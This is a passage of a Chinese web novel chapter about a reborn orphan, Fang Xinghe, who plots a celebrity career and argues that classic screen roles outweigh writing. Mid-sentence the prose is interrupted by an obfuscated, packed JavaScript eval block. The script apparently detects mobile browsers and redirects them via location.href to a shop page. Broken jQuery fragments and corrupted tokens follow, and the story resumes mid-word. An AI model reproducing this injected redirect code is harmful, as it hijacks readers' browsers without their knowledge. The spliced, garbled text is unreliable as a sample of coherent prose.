踏上意见领袖之路，吸粉对象是愤青。

    郭四剑走偏锋，用青春伤痛文学来痛虐小女生，又吃到了腐女福利，骚得一批。

    泛知名度和浮粉数量，好大哥远大于郭四，死忠粉数量则正好倒过来。

    所以别看他俩的第一部电影票房差不多，其实本质截然不同，一个是文艺向愤青对同类人群的呼唤，一个是纯粹的少女粉丝向影版青春梦。

    方星河决定引以为戒。将两条路的优势结合，把缺点规避掉，按需索骥，玩得更精细些。

    前期广而泛的大范围吸粉，之后，找机会强行清洗，提纯死忠，别像好大哥一样被****。

    接下来躲开郭四踩过的坑，也别被粉丝**。

    总之，任何想对我指手画脚的人，都给老子爬，管你们有什么想法具备什么价值。

    我只是我，一个莫得感情的星光机器~~~

    在这条**路上，每一个可能遇到的困难，方总都预备好了解决方案。

    作家的感情投射差？

    改行当演员。

    《永不瞑目》今年在北京卫视首播，只靠一轮单台播放，美而惨的肖童就死成了女性观众们的一生白月光。

    这就是影视剧里一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|15547832|171215||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    个经典角色对于演员本人的加持，强大的感情投射，长期可供回味的影像，巨大的幻想空间，真情实感的幻想对象……

    没法比，没法比。

    敲键盘的苦逼根本不配碰瓷。

    尽管方星河身为孤儿，本人更符合美强惨定义，但是这种现实中的惨，缺乏影视剧的直观感受，效果要差很多。

    假的惨拍出来之后，就是比“真实但看不到”的惨痛更能引发共情。

    在这一点上全世界都一样，《大船》里牺牲自己勇救女友的小李子爆成超顶流，陈情令的魏无羡，长相思的相柳，莲花楼的李莲花……都是瞬间飞升。

    经典角色只要有一个就超级牛逼了，足以奠定一生的基本盘。

    而一旦有三个……

    中年发胖又算得了什么~~~

    后来很多不看剧的年轻人都不理解肥仙凭什么继续做女商一，拍了十多年电影没有一部好看的，却经常挂在热搜上，于是以为她纯靠营销美貌，其实那是经典角色的感情投射红利。

    而深刻理解其中逻辑的顶奢大牌就根本不管那么多，疯狂上待遇，一点不care粉圈里的乱七八糟。

    在消费型巨企的大数据模型和商业价值评估体系中，代言人的核心指标之一，正是有没有可以一直流传下去、源源不断带来正向影响力的经典角色。

    没有，你就不配拿高价。

    另外一个好例子是焦恩峻，焦叔在现实里真不是顶颜，素颜状态下五官缺陷挺多的，主演的上百部剧只有几部扛住了收视率，但是在大众心目中，他就是古装男神，李寻欢杨戬展昭的滤镜早已脱离现实，到了不守基本法的程度。

    经典角色，直接决定所有上限。

    这根本不是能用文字质量解决的问题，而是一个综合了艺术形象、个人形象、营销能力、覆盖上限、投射深度的综合工程。

    从重生的第一